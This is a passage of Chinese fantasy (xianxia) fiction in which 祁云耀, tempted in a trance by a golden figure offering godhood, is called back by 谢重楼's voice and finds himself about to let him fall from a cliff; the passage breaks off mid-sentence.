下一瞬,眼前猛地一花,他竟已不在原地,而是置身云端。周遭是无边无际的云海,他如仙人般踏在云涛之上,俯瞰着渺渺众生。 脑子却雾蒙蒙的,像是蒙着一层看不见摸不着的薄膜,将一切感知都隔绝在外。 那道金色身影再次出现,亘古遥远的声音在耳畔回荡: “你想变强吗?” 祁云耀麻木地点头。 “你想变为半仙?” 他又重重点头。 那身影似乎短促地笑了一下,缓缓道:“半仙没有什么好的。你想横亘在一切之上吗?” 祁云耀缓缓抬头,漆黑的眸子里毫无生机。他像是听不懂这句话,在混沌里思索了许久,才缓缓而坚定地开口:“我想。” “那和我一起成神吧。”金色身影朝他伸出手,“和我一起凌驾万物。” 祁云耀盯着那双金色的、流转着浮光、似无实质的手,脑子一阵阵发懵。 一边有声音在说,把手放上去,便可成神,成神之后,便再无烦恼可困。 另一边却在反复提醒:你忘了很重要的东西。 见他迟迟不应,金色幻影带着极度的包容与大度上前一步,两只金色的手几乎凑到他脸前。 “和我前往极乐吧。” 祁云耀看看他,又看看那双手,眼眶里忽然又滚出泪来,连他自己都不清楚缘由。那金色幻影却微微急切,带着不耐催促:“和我走吧。” 祁云耀依旧未动,就那么坐着,仿佛过了很久很久。 他在想,自己原本是为了什么,才想要变强? 忽的,那道金色声音消失了,取而代之的,是一道清清淡淡、发音极为艰难的声音,微弱却清晰: “云耀……云耀……” 祁云耀猛地回过神,眼泪“啪嗒”一声砸在心口。 他听见了,是谢重楼在叫他。 下一瞬,他骤然回到了现实。 祁云耀惊魂未定,才发现两人不知何时已挪到崖边。他怀里抱着谢重楼,手臂竟维持着要往外伸的姿势,谢重楼半边身子悬在半空,下方是凸着枯枝树杈的幽深谷底。 只要再往前一送,谢重楼便会摔下去,以他如今